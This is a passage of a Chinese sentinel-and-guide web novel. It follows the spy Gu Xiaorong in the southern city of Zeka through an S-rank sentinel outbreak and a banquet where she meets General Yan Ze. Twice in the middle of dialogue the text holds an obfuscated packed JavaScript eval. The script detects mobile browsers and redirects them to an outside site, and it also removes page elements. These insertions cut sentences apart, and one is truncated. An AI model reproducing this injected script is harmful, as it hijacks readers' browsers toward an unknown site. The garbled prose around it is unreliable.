“师姐,你刚刚跟老师汇报完工作吗?”楚飞风卷残云地扫完面前盛放的一碟西瓜,嘴唇被果汁沾得亮晶晶的,他正抬着一双明亮的黑色眼睛,看上去像是某种大型的猫科动物。 “嗯呢……” “那我要不要也上去看看老师?” “劝你别去,他这会儿心情不好。”曼琳皮笑肉不笑。 “哦……”楚飞老实地低下头去。 曼琳倾过身子,揉了揉师弟的黑色发梢,尤其是那一股翘起来的、看上去十分精神的呆毛。楚飞的头发质地有些坚硬,摸上去有些扎手。曼琳绿宝石般的眼眸仿佛笼罩了一层厚厚的雾霭,不再如同往日那般神采飞扬,再抬头看看诺兰,几乎也是差不多的神情。 “怎么了?这是……”楚飞从曼琳的手下抢救回自己的发型,他能明显感觉到气氛有些不对。 “刚刚探了下老师的口风,你这边应该是解禁了,再加上言韶,你们都准备好出任务吧,他恢复好了吗?”曼琳没有直接回答他的问题,但楚飞从她的眼神里望见了答案。 “急着要S级哨兵出任务,是发生了什么事吗?”这一次开口的是周烨。 一流的向导果真拥有一流的感知,曼琳没有打算再隐瞒,只是她仍旧需要一次深呼吸去宣布这件事:“新的黑暗向导出现了,是第二个,信息估计很快就会发出来。” “什么?!”楚飞“唰”地站起了身子,连同周烨也怔住了。 用最淡定的语气宣布最要紧的事,曼琳的双手朝下按了按,示意两位冷静。她随后花了很大一番功夫向他们解释“水母”的事,这会真是一场接一场的开,曼琳讲完后已筋疲力尽,倚靠在沙发的软垫上拿了一块芒果。 “情况就是这么个情况。”曼琳一摊手:“你说我们急着要S级干什么,现在整个公会能架得住那玩意儿的,除了布雷塔妮之外,就只有周烨和华峥了。” “不是这个问题。”楚飞急了:“不能说后面再弄出第三个、第四个黑暗向导出来吧?” “那怎么办?你去跟南方军商量下?”曼琳笑了。 年轻哨兵被噎得没了脾气,只得重新坐了回去,看他的神情,曼琳也收起了调侃:“过段时间你和我一起出个任务,我们去伦戈茨数据中心拷一个链接回来。” 伦戈茨数据中心远在西北极寒地带的冰原深处,是帝国的核心信息中心,许多绝密档案留存在那里,但以楚飞和曼琳目前的职级,连申请普通权限的门槛都够不着。链接是通往资料库的一个通道,拥有临时可查阅的权限,可即使如此,很多档案也只仅仅只能查到个有无,还会耗费很多时间在流程上。 楚飞一时不太明白师姐的这个决定,他们上一秒似乎还在聊黑暗向导的事。 “那……可是真要去拷也要向上申请权限吧?”楚飞决定暂且不做质疑:“这是老师的意思吗?” “是我的主意。”曼琳干脆地承认。 “你是有什么怀疑吗?”一旁的周烨忽然发话。 “嗯,但是不确定,需要求证。”曼琳调整了一下腕间佩戴的机械表。 “嗯……那个。”一旁的诺兰好像是收到了什么信息,出言提醒道:“曼琳,艾维过来这边了,说有事和你对接……” “啊……”曼琳白眼一翻,情况本来就已够令人头痛,还要掺和上皇家公会的人,她真的不想再见到西里埃克斯家族的人了。 “他来做什么?”楚飞一脸懵。 “塔尔蓝战役里牺牲了一位皇家公会的哨兵。”周烨冷冷开口,他目光冷淡地扫了自己的哨兵一眼:“你这个少校是怎么当的。” “就是,楚飞,老师让你多帮我分担。”曼琳赶紧顺着话头讲:“这次你就帮我应付下艾维吧,就说我很忙。” “对了,对人家客气点,我们还需要他们的支援。”她又叮嘱道。 “……”楚飞立起来的呆毛瞬间委顿了下去,按照中央公会现在的人手缺乏程度,他们日后与皇家公会的合作只会越来越多。甚至再持续下去的话,可能只能从地方公会补充B级哨兵进入战场,只是以他们的体能,是否能应对无意识的狂化哨兵还未可知。 果然,曼琳顺带和他交代了下个月将要举行的全国哨兵选举,这次除了选A级之外,剩余的B级也有一部分候选。 难道真的走到弹尽粮绝的地步了么,楚飞难得地叹息了一声,重重将指尖插进发丝里。 “行吧,我去应付艾维。”他闷闷地说。 无垠而寂静的黑暗中,一道红色的信号波忽然刺破了平静,如同电流一般猝不及防地闪过。 来电显示:「尾鸦」 通知「银雀」,派遣任务如下:接近下列名单中的任意一位,探寻黑暗向导实验信息,优先级与危险等级按顺序排列: 1、南方军前生化计划主导人:德拉文,危险度:10 2、南方军部上将:晏泽,危险度:10 3、南方军情报部门负责人:卢卡斯,危险度:6 4、南方军向导总负责人:泽维奇,危险度:5 5、南方研究所总负责人:盖尔,危险度:5 信号线一闪而逝,只剩下空旷的黑暗与脉搏微弱的跳动,电流顺着跳动的声息涌入心脏,原本旷远微弱的声音,逐渐加快,变得急促而迫近…… 顾小绒猛地睁开双眼。 长久不见光芒的瞳孔一时无法适应过于明亮的光线,尽管窗户已经被拉上了一层窗帘,阳光仍旧从缝隙中满溢出来。她稍微动了动身体,感到了贴在鼻尖的冰冷的输氧管。手臂冰冰凉凉的,还有些许刺痛,视线往上看去,果然还挂着水。 后脖颈传来一丝微微的麻木感,她试着动用了一下精神力,果然不行,看来一下战场就被立即注入了向导抑制剂。 泽卡的天气相较于北方来说太过温暖,她一时还没有适应,这里的阳光也比北边明亮温存许多,在中央公会时,她经常一抬眼望见的只有漆黑的天穹与绵延不断的大雪。 也许人对痛苦是可以无限适应的,在熬过最危险的时刻之后,顾小绒竟然逐渐适应了身边的环境,还是同以往一样上战场、做任务、被关在笼子里,似乎没有太大的本质区别。 正眯眼小憩着,门“咔哒”一声响了,进来的是薇拉。脱下作战服的女哨兵穿了一套温柔的驼色风衣,焦糖色的裙摆与针织毛衣将她衬得无比柔软,她的长发看上去重新做过了,变成了慵懒的大波浪,蔷薇味从她的身体上淡淡散发出来,显得妩媚而温柔。 “醒啦。”她眨眨眼,随后挪过凳子坐到了顾小绒床边。 “嗯。”顾小绒撑起身子,薇拉体贴地过来扶她,替她将病床摇了起来,放好了抱枕。 因为失了太多血,顾小绒一直昏睡,直到现在也觉得没有太大力气,她的脸上还包着纱布,那里被布雷塔妮的刀剑尖划得极深,甚至缝了针。 “别担心。”薇拉关切地注视着她的伤口:“我们这边医美和修复的技术一绝,不会留下痕迹的。” 顾小绒对她露出一个虚弱的笑,她琢磨着「尾鸦」的命令,在执行任务之前,她首先还需要考虑希里斯是否还容得下她。 “抱歉,任务时我状态不好,应该再早点发现的。”顾小绒想了想,轻声说道。 “嗯?”薇拉看上去有些意外,她随后笑了起来:“这里不是北方,不需要做战后总结啦。”见对方的神色还是很低落,她才认真说道:“你发现也没办法,我的体力也透支了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055888|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没法和他们再打。” 她随即滔滔不绝地抱怨道:“而且本来嘛,北方的哨兵总负责人和向导总负责人同时出动诶,这什么阵仗啊,10年里有过几次?我们能保两三台机器下来已经不错了,还要怎么样?” “看看人家北方什么配置,我们这边20个狂化哨兵——还是没脑子的那种,这不就是破铜烂铁吗?” 她理直气壮,那只精神体小猫也神气活现、张牙舞爪,顾小绒被她逗乐了,真希望她在希里斯面前有现在的一半气势。 “那……你老大知道情况了吗?他没说什么?”顾小绒终于还是问道。 一提到“老大”两个字,薇拉瞬间萎了,连同那只小猫也窜回了她的风衣里。 “嗯……说了。”连带声音也小了八度:“他没说什么,就嗯了一声挂了,可能又在忙吧……” “哦……”看起来暂时不会挨枪子了,顾小绒在心里估算到。 这样也好,趁着希里斯没有回来,她刚好可以琢磨下怎么执行任务。虽然和「尾鸦」的接触并不多,但顾小绒能感觉到他是一个谨慎的人,更何况北边这些年来已经无数次派遣间谍,探寻黑暗向导实验的相关信息,结果均是石沉大海。如今「尾鸦」如此突然地给她派遣任务,还是直接切入主线,怕不是战场上发生了什么事,有了什么变数。 只是,即使希里斯不在,怎么避开薇拉的眼睛也是一个问题…… 一道突如其来的警报声打断了顾小绒的思维,整个病房忽然被笼罩在一片红光中,从四周传来滔天的惊呼声,整栋楼都仿佛在惊骇中颤抖。她能感觉到这个声音不止来自于这个房间,甚至不止这一条街…… 薇拉一把拉开了窗帘,只见窗外的整个街道与区域都被可怖的红光笼罩,警报声尖锐地刺破泽卡的上空,一个个清晰的大字与感叹号闯入视线,出现在街道上、楼顶、所有悬挂的外体电子屏与投屏中。 那是一个巨大的、刺目的“S”。 “S级哨兵失控!”薇拉脱口而出,她转身朝着顾小绒道:“你留在这里别动,等我回来!”在她说话的同时,一股机械金属运作的声音从四周蔓延而来,只见黑色的铁栏从门与窗户上缓缓落下。 说完没等对方反应,女哨兵就立即脱掉了外套,她闪身从窗子翻下,等到顾小绒赶到窗边时,铁栏已然将整个窗口锁死。 空气几乎快被紧张的氛围绞杀,顾小绒扶着窗栏好一会儿,才感觉到自己呼吸有些困难。刚在的事情发生得太过突然,以至于她冲到窗前时甚至没有感觉到被硬生生扯掉的针头。从被限制的视线里,她能看到除了自己的窗子和门之外,所有的建筑体与房间都在同时落下了锁,在金属铁栏之外,每一栋楼都开启了防御磁场。 泽卡果然是固若金汤,这样的做法也是为了最大程度地减少破坏吧。 顾小绒这样想着,慢慢挪回了床上,她现在没有了精神力,肉体凡胎一个,哪里都去不了。房间里的显示器都在关闭的状态,顾小绒打开了一个电台,此时所有频道的信息都被“S级哨兵失控”的红温警告占领,她只能往前去翻一些往期的内容信息,至少稍微了解一下自己昏迷时发生了什么。 电台里的报道仍旧聚焦于东部沿海区域,也许是阿尔塞拉城和瓦尔塔那城的战役失败得太彻底,南方根本不想再过多提及。顾小绒继续播着往期的节目,一阵号角伴随着音乐响起:本台消息,近日,针对北方对我方塔尔蓝海港的袭击,我方新型完全体向导对敌方造成重创,共导致2名敌方向导死亡、2名受伤…… 顾小绒的瞳孔骤然放大,她将信息重新拨回10秒前,注意力锁定在“我方新型完全体向导”这个称谓上,一阵寒意席卷了全身。 在绝对的、仿佛凝滞的寂静里,顾小绒深深呼出一口气……她不是没有想过把自己搞成这样有没有意义,但现在事态的严重性就摆在眼前。致幻剂设备的摧毁只能拖住黑暗向导一时,只要再有足够的时间,新的设备仍旧可以被生产出来,这不是解决问题的本质办法…… 电台仍旧在滔滔不绝地讲述着北方的伤亡情况,她一把将那嘈杂的声音关掉,让自己陷入沉静。 50. 第五十章 顾小绒躺回病床继续输了一会儿氧,只是输液的针头被拉断了,一时半会儿没有办法处理,只能先闭眼小憩。 大概两个小时后,红色警报灯才终于灭掉,各个街道与楼房的防御设施开始逐次关闭。走廊上传来窸窸窣窣的脚步声、玻璃碎片与扫地机器的碰撞声,顾小绒的睫羽微微一动,醒了过来。 一位护士正在她的身边收拾着混乱的现场,将新的针剂重新扎进她的血管,除此之外她还需要再输几袋血。护士也是个年轻的女孩,虽然带着口罩,但顾小绒仍旧能从她的眼睛里捕捉到一丝惊恐,看来S级哨兵失控这事在南方也不常见。 当时成煜出事时,她和少将正在陆军基地,对公会是怎样的应对级别一无所知,如今想来,比起泽卡应该是有过之无不及。 薇拉直到晚上11点才赶了回来,她看上去累的够呛,肩头好像受了伤,一身好看的衣服也变得皱皱巴巴、一片泥泞。顾小绒立即从床上翻身下来,扶她坐在对面的沙发上,并按动了护士台的提示铃。 “你怎么样?”顾小绒一边小心地替她初步检查伤口,一边问:“跟着你的那些个小弟呢,让他们拿身衣服过来。” “已经去了……”薇拉已没有了一丝力气,见她嘴唇干裂渗血,顾小绒又赶紧给她端来了水。她的右肩脱臼了,是自己装回去的,肌肉也扭伤了,此时正一片红肿,护士过来后替她包扎了伤口,大概20分钟后,她的小弟也取来了换洗的衣服。 等到年轻哨兵走后,顾小绒才关上门窗给薇拉擦洗身体,照顾哨兵这事她轻车熟路。考虑到薇拉是女孩子,所以接的水稍微热了些,在擦洗的时候,她的精神力也探了出来,化作丝线的形状轻柔地抚摸着哨兵疲惫的感官。 薇拉果然很舒服,像只小猫一样眯起了眼睛,信息素变得馥郁温存。直到最后被照顾到躺在沙发上睡下,薇拉轻轻握住了顾小绒给她盖被子的手。 “有向导真好啊……”她声音迷离,看上去已经十分困倦,却还是很坚持地絮叨着:“我还以为我这辈子都不会有向导了……” “你这样会照顾人,是跟过很多哨兵吗?”薇拉迷蒙地问着,但还没来得及等到答复,眼睛就微微地合了起来。 “好了,快睡吧。”顾小绒笑着轻轻抚了下她的头。 这次失控的S级哨兵是一个年仅18岁的小伙子,昨天他突然从A级分化,又是在开阔的街道上,惹出了挺大的乱子。不过最后还是被希里斯的亲卫队快速反应拿下,这一批人都是希里斯亲自选出来的,是他手下最精锐也是最忠诚的一股力量,承担着维持泽卡运作与安保的重任,薇拉也是其中之一,所以在事发时才那样急着赶去现场处理。 据薇拉说,她当时根据锁定的位置绕路去了下一个路口等着那个S级,结果完全没能拦住,被稍微擦碰了一下自己就飞了出去,直接从五楼摔了下来,虽然用攀爬爪有惊无险地落了地,但肩膀就变成这幅模样了。 “……”顾小绒在心里暗自感叹着S级哨兵的可怕,怪不得当时林轩和曼琳都急着请韩奕回去,直到现在她都还记得莱安报给她的那一长串S级哨兵失控造成的伤亡数量。 哨兵的分化层级越高,危险系数越大,除了对外造成的危险,哨兵自己能不能活着挺过去也是个未知数,尤其A级分化到S级是最为凶险的,死亡率大概接近40%。 这样想来……自己也许是艾泽洛瑞恩帝国本纪元里唯一见证了S级哨兵分化成黑暗哨兵的人,A级的分化尚且如此危险,S级的分化呢? 顾小绒又重新想起了在陆军基地的那个夜晚,那时的她只以为韩奕是感官过载,哪里能想到他已在生死边缘。一想到因为自己的无知无觉,韩奕只能自己扛住分化的痛苦、几乎濒临死亡,她的心就痛得快要碎了。 她从来不怪韩奕对她隐瞒,只怪自己没能及时察觉。 不过顾小绒很快地收回了思绪,她转而问道:“希里斯知道这事了?” “嗯,老大说他处理完手上的事就马上回来。”见薇拉四下环视着空空如也的桌子,顾小绒知道她又饿了,于是从善如流地把哨兵小弟又招了进来,吩咐他去买点吃的。原本他同薇拉是一起来监视顾小绒的,这段时间下来几乎完全变成了两人差使的跑腿。 顾小绒清楚,眼下这种级别的监视她不可能用秘密行动逃过希里斯的眼睛,真要有所动作也只能从他的身上找到突破。以他的身份,少不了接触南方军部的人,自己应该可以找到机会,只是需要缜密一点的谋划,不能被他看穿。 等到泽卡终于迎回它的主人,顾小绒脸上的伤口已拆了线,只剩下一道浅浅的白色印痕。 中央区域的花园仍旧郁郁葱葱,同寒冷的北方不同,这里因为气候稍微温和,还存留有大量的花草树木。园内被打理得枝繁叶茂,嫣然的花卉与白色的大理石雕塑交相辉映,流水潺潺,从雕塑怀中的石瓶里涌出,清澈有如银铃。 上一次来到这里,还是跟随韩奕一道执行任务,顾小绒抬头看了眼几乎被他们完全轰塌的建筑群,直到现在似乎也没有完全修缮好。那一次博弈,明面上看是韩奕和希里斯的对弈,实际上双方埋藏在对面的间谍互相之间的博弈。双方打成平手,是各个方面与力量角逐的综合结果。 说到这个问题,顾小绒的心中不由腾升起一股忧虑,希望在造成太大损失之前,韩奕可以将真正的间谍抓出来。她再也无法像以前那样陪伴、保护在他身边了,除了替他担心,她什么都做不了。 吊车与机械臂工作的影子远远闯进眼帘,一想到这堆烂摊子都是自己搞出来的,不由心虚地收回了视线。 今日温度和煦,希里斯穿着一身白色的礼服,长尾轻盈垂落在身后,上面织着银色的图案,看上去典雅庄重。仔细看了看,花纹是缠绕的玫瑰形状,希里斯看上去十分偏爱这种花卉,绿宝石镶嵌的纽扣边缘也是荆棘的藤蔓与枝叶。他的身材修长笔挺,被这一身华服衬托得气质非凡,看不出半分雇佣兵的粗粝。 哨兵冷绿的眼略微一扫,便将顾小绒脸上的伤痕看了个一清二楚。 “怎么搞的?”他的语气似乎有些不悦,薇拉和顾小绒都有些没有跟得上他的思维,这才刚从战场上下来,负伤不是很正常的事吗? “你带她去做医美,还有头发……”他拿手一指,随即垂下眼继续整理眼前的书籍,那是一张巨大乌木雕花的柜子,上面还放着一个钟摆,以及一大束盛放的白玫瑰。 “啊?哦……好的老大。”薇拉的几个简短音节清晰地交待了她的心路历程,她准备了很多汇报,有战场上的事、也有前几天S级失控的事,但老大一件都没问,而是指派了这样一个令人摸不着头脑的任务。 修长的指节将书拿出来,换好了顺序又重新放下,希里斯没有回头。也许是薇拉懵逼得过于明显,白狼终于大发慈悲地开口解释道:“一周后,会有一批军部高官过来,你把她收拾好,再挑几个好的‘货’。” 薇拉茫然的眼神终于清明,她赶紧答应下来,拽着顾小绒溜了出去。 “还以为今天要交代在这儿了,没想到被这样容易地放了。”女哨兵神情轻快,走出去的时候蹦蹦跳跳几乎要哼着歌,不过她随即又想到了什么,面容沉了下来:“可是……他要我打扮你,还要选‘货’?他要干嘛啊?” 挑选几个好的向导出来招待南方军的高级将领,其作用不言而喻。 薇拉越想越不对劲,她托着下巴,自言自语道:“不可能啊,你这样完善的精神力多贵重,老大不可能要你做‘货’的,你……你不会和她们一样的。”最后的那句话显然没有什么底气,听上去更像是自我安慰。 顾小绒倒是已经淡然,甚至还对着薇拉笑了笑:“自己没事不就好了吗,怎么还担心我?” “怎么能不担心。”薇拉正色说道,暖棕的眼眸在阳光下泛着光,看上去近乎成了可口的焦糖色:“好不容易得来个向导,我可不能让你有事。” “而且,你不知道。”薇拉左右环顾了一下,见四下没人,才附到顾小绒耳边悄声说:“老大去北边接你,下面的雇佣兵什么风言风语都在传,说这么多年了从没见过老大亲自去接‘货’,这个‘货’肯定非同一般。” “哦?那看来我现在身价斐然。”顾小绒挑眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这次晚会的主题应该是有些复古。”薇拉一边嘟囔着,一边挑选着衣服,其余的工作人员在她的周围来来回回,顾小绒像是一个玩偶一般站在中间的台子上,任由自己被来来往往的人打扮摆弄。 第一次假装“货”潜伏过来时,中央公会给她选定的穿衣风格是人鱼,属于比较常见的类型,但风格更倾向于流行化。 “你怎么知道是复古风呀?”顾小绒问。 “我看了眼老大准备的礼服,好家伙。”薇拉认真地翻过一件递到眼前的裙子,随即皱了皱眉头,挥手示意下一件:“都是200年前的款式了,不过也是,听说如今当权的那位特别喜欢‘银珠时代’的风格。” “当权的那位?”顾小绒条件反射地问道。 “哦,就是晏泽上将。”薇拉把一件披肩重新挂回了衣架上:“你可能一直待在北边不太了解,他现在是南方军的实际掌权人。”她又挑出了一件礼服,往后退了两步仔细观看:“就跟韩奕在北方的位置差不多。” “哦……”顾小绒猝不及防地偏过头去,唯恐薇拉看见自己瞬时的失态。 无论身在何处,过去多长时间,只要听见韩奕的名字,她的心脏还是会难以控制地疼痛。直到挨过了这一阵,她才慢慢回溯起刚刚薇拉提到的名字。 南方军部上将:晏泽,危险度:10 此人在尾鸦给出的优先等级与风险等级中都很靠前,仅次于德拉文,顾小绒暗暗记下了此人的喜好。 “银珠时代”距今大约280-190年前,那时候的装饰繁复旖旎,是古典服饰最后的余晖。而“黄金时代”则是指距今120年-10年前,顾小绒之前的“人鱼”装扮就是那时候流行的趋势,色泽明丽、线条流畅,只是自战争开始之后,黄金时代便仓猝地终结了。算算时间,时至今日,实际上已经是第11年了。 忘记薇拉做了多少次尝试,顾小绒从午后一直站到晚上,还好这点强度比出任务还是轻松很多,她并不觉得有多疲累。在此期间,薇拉甚至还尝试过改变她的发色与瞳色,但最终还是否认了这些想法。 在无数次艰苦的尝试之后,薇拉终于大功告成。 “老天,你真该看看自己现在有多迷人。”薇拉一瞬不瞬地望着镜子中的顾小绒,薄唇微张、眼眸失神。 51. 第五十一章 “好了没?”一声严厉的问询传来,顾小绒和薇拉同时打了个哆嗦。 从医美、到挑选礼服,再到设计造型、试装、以及美发美甲等等,七天的时间委实够呛,但好在还是赶上了。太阳逐渐西沉,快到晚宴的时间了,希里斯打开门走了进来,神情淡漠地催促道。 “马上好了,老大。”薇拉乖巧地像只鹌鹑,这几天把她累的够呛,但看到白狼有些不耐烦的神色,还是赶紧强打起精神。 顾小绒的妆容已经到了尾梢,再稍微调整、加固一下便完事了,她们最终赶在了雇佣兵头子发火前完成了“任务”。 希里斯果然穿着一身复古的礼服,华美的深绿色绸缎从左肩头一直垂落到后背,钻石纽扣与徽章如同繁星般汇聚到一处,让他看上去几乎微微发着光。 如此浮夸,倒是他一如既往的风格,顾小绒心下诽腹。不过她还没来得及抱怨完就被打断了,对方有些粗暴地拽住了她的胳膊,把她从座位上拎了起来。 “松手,我自己会走。”顾小绒往后挣了挣,白皙的手腕霎时起了一道红痕,片刻后,白狼竟真的出乎意料地松了手。 他们现在身处的位置正是泽卡的中心区域,紫色的夜幕降临,华灯初上,烂漫灯光装点着金碧辉煌的宫殿,深蓝的天鹅绒地毯在大理石地板上铺展开来。从三天前,希里斯就命令她停止注射向导抑制剂,因此这是她这样长一段时间以来,难得能自由使用精神力的时候,几乎连视线与感官都变得更清晰了。 走廊里已满是熙熙攘攘的工作人员,有负责安保的哨兵、更多的是侍女与后厨人员,不用想就知道薇拉在处理完她这边后,又要马上加入到安保的队伍中去,几乎是连轴转的状态。 “真是压榨……”她剜了身前的希里斯一眼,没想到对方竟然像是背后长了眼睛似得回过头来。 “……”顾小绒有了一瞬间被看穿的心虚,随后又生起了一丝警惕:“为什么不给我打抑制剂了?” “脖子后有针眼和乌青会影响观感。”希里斯冷冷地扫了她一眼,给了个出人意料的答案。 “不怕我跑了?”顾小绒试探性问道,之前替北方潜伏过来时,她就已经把催化剂、抑制剂以及各类药剂的卖场摸透了,现在又在泽卡住了这么久,天天跟着薇拉这里跑那里跑,更是熟悉了地形。 “你要不要跑一个试试,我先让你20米。”白狼像是听到了什么有意思的事,嘴角扬起一个愉悦的弧度。 “……”望着眼前的S级哨兵,顾小绒一下焉了下去。 “30米?”他不打算放过她似的,语气逐渐恶劣。 “差不多得了。”顾小绒竭力忍住没有给他一个白眼。 “你们北方把这个叫做什么?哦,抵抗训练?”希里斯对她的抗议置之不理,已经被挑起兴致的哨兵瞳孔都微微放大了一些,他的信息素味更浓了:“我这边好一点的向导也难得,要不陪我玩玩?” 她是知道猫科动物兴奋起来会把鸟抓住又放开,当玩具一样扑腾,没想到犬科动物兴奋起来也是一个样。 混账……顾小绒咬牙切齿,心里问候了他一万次,她暗自发誓等任务完成战争也结束,她一定要把这人逮回北方牢底坐穿。 好不容易收回愤怒的情绪,脸上却还是残留了一丝红晕,这给她今晚素白的妆容留存了一分不多的颜色。 宴会中心在靠近后花园的地方,今晚举办的是自由度比较高的沙龙,恰逢泽卡连日晴空,今晚月华如练、银光流泻,几乎盖住了花园中浩瀚的灯海。顾小绒一走进来就感知到了无数的信息素,太久没能使用精神力,她的感知一下有些敏锐,过了好一会儿才缓过神来。 希里斯的手臂在那一刻环上了她的腰间,顾小绒条件反射地想躲,但片刻后便认清现实放弃了挣扎。 她能感觉到自己的向导素淡淡地扩散开来,如同一滴晶莹的露水落入焦渴的土地,四周是哨兵们几乎本能的蠢蠢欲动,她能明显感觉到近前的几位甚至连体温和呼吸都上升了。 南方极其缺乏向导,即使是寻欢作乐,得到的也只有被阉割后的浅层抚慰,这些军官平日里应该也豢养了很多向导陪伴,可像顾小绒这样高质量的、精神力完善的向导,即使是他们平日里也很少见到。 哨兵的手紧扣在顾小绒的腰肢上,形成坚固无比的环形,这是一个占有欲极强的动作,鸦片味凛冽地弥散开来,圈定在她的身上,标记着自己的地盘。 见是白狼入场,几位军官不由克制了一下信息素,客气地同他寒暄,只是眼神仍旧望着顾小绒。 顾小绒的眼睛也没有停下,趁着精神力还能运作,她赶紧在晦暗的夜色里寻找名单上的人物。她很快便从一堆交错的信息素里找寻到了一丝向导素,她敏锐地朝着那边追过去,果然看见了一个面容冷峻的中年男人,他灰褐色头发梳得笔挺,看上去年纪不大,眉头却因为时刻紧蹙而留有很深的印痕,此人便是南方军向导总负责人泽维奇。 她在心里默默标注好,不多时后,对方便上前来与希里斯攀谈,她没有听他们说什么,继续搜寻着名单。 那个在边缘处也举着香槟过来的红发男人,应该就是南方军情报部门负责人卢卡斯,做为哨兵云集的南方里为数不多的向导,顾小绒先将他们两人认了出来。原来这就是一直以来与他们博弈的对手,顾小绒出了这么多次任务,这还是第一次见到对方的庐山真面目。 卢卡斯的优先级和危险度在泽维奇之上,没想到今天的运气这么好,一下遇见两个。只是,排在优先级第一的核心人物德拉文还是不见踪影,看来他的保密级别仍旧不是一般的高……眼下也只能暂且放弃,先从能碰到的人下手,顾小绒在心里默默衡量了一下。 “这就是你安排在北方的间谍?”那个红发男人饶有兴趣地望着顾小绒,他的眼神像是冰冷猩红的蛇信子,湿滑黏腻,让她很不舒服。 “对啊,她能力很不错。”希里斯云淡风轻地婉拒了对方的敬酒,果然哨兵不爱喝酒都是一样的。 “看出来了,好优质的精神力,不愧是您选出来的人。”泽维奇则露出一副更加虚伪但奉承的神色,听了这一句,顾小绒才恍然明白,原来希里斯不给她注射抑制剂的真正意图在这里,他想要做什么?单纯的显摆吗? “荔枝味,好香啊。”卢卡斯身子前倾,顾小绒立即后退了半步,却被希里斯的手牢牢卡住,动弹不得。白狼的绿色瞳仁霎时收窄,几乎如同线条一般竖了起来,对方感知到杀意,立即止住动作后退一步,随后尴尬地笑了笑:“听说她在北方是潜伏在韩奕身边的,不容易啊,有点东西。” “那当然,没点本事怎么在我手下做事。”希里斯放缓了眼神,从容地享受着对方的吹捧,随后那双冷绿的眼睛微微眯起,露出一种半是愉悦半是迷离的神情:“韩奕把她调教得很好,可惜最后还是便宜了我。” 四周响起一片艳羡声,顾小绒如同石化,目瞪口呆地看着希里斯胡说八道。 嘈杂声和恭维声忽然戛然而止,某种更为强大的气场迫近,顾小绒瞬间遏制住了自己的情绪。 一股醇厚的古龙如同海浪般蔓延而来,顷刻间便将她笼罩,顾小绒身子一紧,她能意识到这个人极其强大的精神力,如同辽阔的海浪漫过地平线。 这股力量远在刚刚那两人之上。 一位年轻军官朝着他们缓缓走来,他身后跟随的哨兵向着两旁退去,会场霎时一片安静。 男子身量颀长,穿着复古的军部礼装,那是一身近乎于黑的深蓝套装,他的披肩是一袭华美的银色绸缎,银河一般从宽阔的肩头垂落下来。他黑发蓝眼、面容深邃,那双眼睛沉得像是无垠的黑夜,一丝冰蓝的光却透过了那层深不见底的夜幕,如同蛰伏在黑暗中的宝石,奢靡而冷淡,华美而荒芜。 “晏少,您来了。”面前的两位军官放下酒杯,齐齐朝着眼前的男子行了军礼。 这人……难道就是晏泽上将?顾小绒瞳孔巨震,在南方这样向导极其缺乏、地位又极其低微的地方,她一直以为掌管全境的最高统治者是位哨兵。 “好久不见,希里斯。”晏泽开了口,他的声音沉厚而温和。 “上将,别来无恙。”希里斯的面容不露痕迹地转冷,两人面对面站 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见她回应自己,晏泽的神色愈加温柔:“什么都可以,你可以慢慢讲给我听。”说罢他便转而看向希里斯:“下一场什么时候安排?” “哦?晏少这么急着花钱?”希里斯轻笑一声:“那我就恭敬不如从命了。” 宴席过后,军官们可以根据自己的喜好选择娱乐方式,有的喜欢玩牌,有的找“货”消遣,又或者去拍卖场。 晏泽的喜好十分固定,他向来不近女色,每次来泽卡都是想找一些自己喜欢的物件,比如“银珠时代”的手枪、古董、珠宝和画作,只要是他喜欢的东西,即使是一沓旧的手写信件与情诗,他也愿意豪掷千金。 这样阔绰的买主谁能不喜欢,希里斯当然欣然陪同。 只是在刚才看到晏泽对顾小绒的眼神时,几乎所有军官都十分默契地撤回了他们的想法,在后面的拍卖场里,也就只剩几位陪同着竞价玩乐的,对顾小绒半分想法也不敢有了。 拍卖场的货品经过竞价之后,现金都是直接进入到希里斯的账上,不过他偶尔也会来自己玩玩,这些价格惊人的商品对于他们来说不过是扔点零钱图个开心。 今晚主要展示的是珠宝,希里斯拍下了一个红宝石雕琢的心形胸针后,就变得兴趣索然了。 比起拍卖场上琳琅满目的宝石,顾小绒很明显感觉到晏泽的眼神一直流连在自己身上。薇拉给她的装扮十分素雅,她只穿着一袭白裙,薄纱被一层层精致地叠起,如若云雾。她只配了一袭深蓝色的披肩以做点缀,耳畔也只坠有两颗不大的蓝宝石,没有更多的珠宝与配饰。 在浓黑的夜幕里,她的面容清冷得仿佛触之即碎的霜雪,那身白纱轻柔地笼罩着她,仿佛她是一个浅淡的、镜花水月的幻影。 她能感觉到晏泽的目光长久而痴迷地停留在她的身上。 正是如坐针毡之际,拍卖会进入到了最为隆重的时候。一颗巨大的白色钻石玫瑰被呈现在展台上,坚硬的石质被精妙的工艺切割成花的形状,如同拥有生命一般轻柔曼妙、含苞待放,像是露水一般晶莹剔透,又似星辰那般光华闪耀。 整个晦暗的场所都被它纯粹无暇的光芒所笼罩,变得澄澈而空灵。 这朵钻石玫瑰是历史上的名钻,是艾泽洛瑞恩帝国第一位女皇的所属物。一直以来都是皇室的世代传承之物,直到十年前内战时,才因为遗留在南部的行宫,从而失落。 一位哨兵军官立即举牌,起拍价便是1.2亿,随后是另一位……接连不断的举牌将价格推到了2.4亿,不过五分钟后便到了3.6亿。 “3.6亿第一次,3.6亿第二次。”拍卖师的声音回荡在空旷的卖场。 晏泽终于缓缓举起了牌子:“10亿。”只听上将轻声道,四下霎时一片寂静,拍卖师也在片刻的愣神后随即敲下了木槌:“封顶价,成交。” 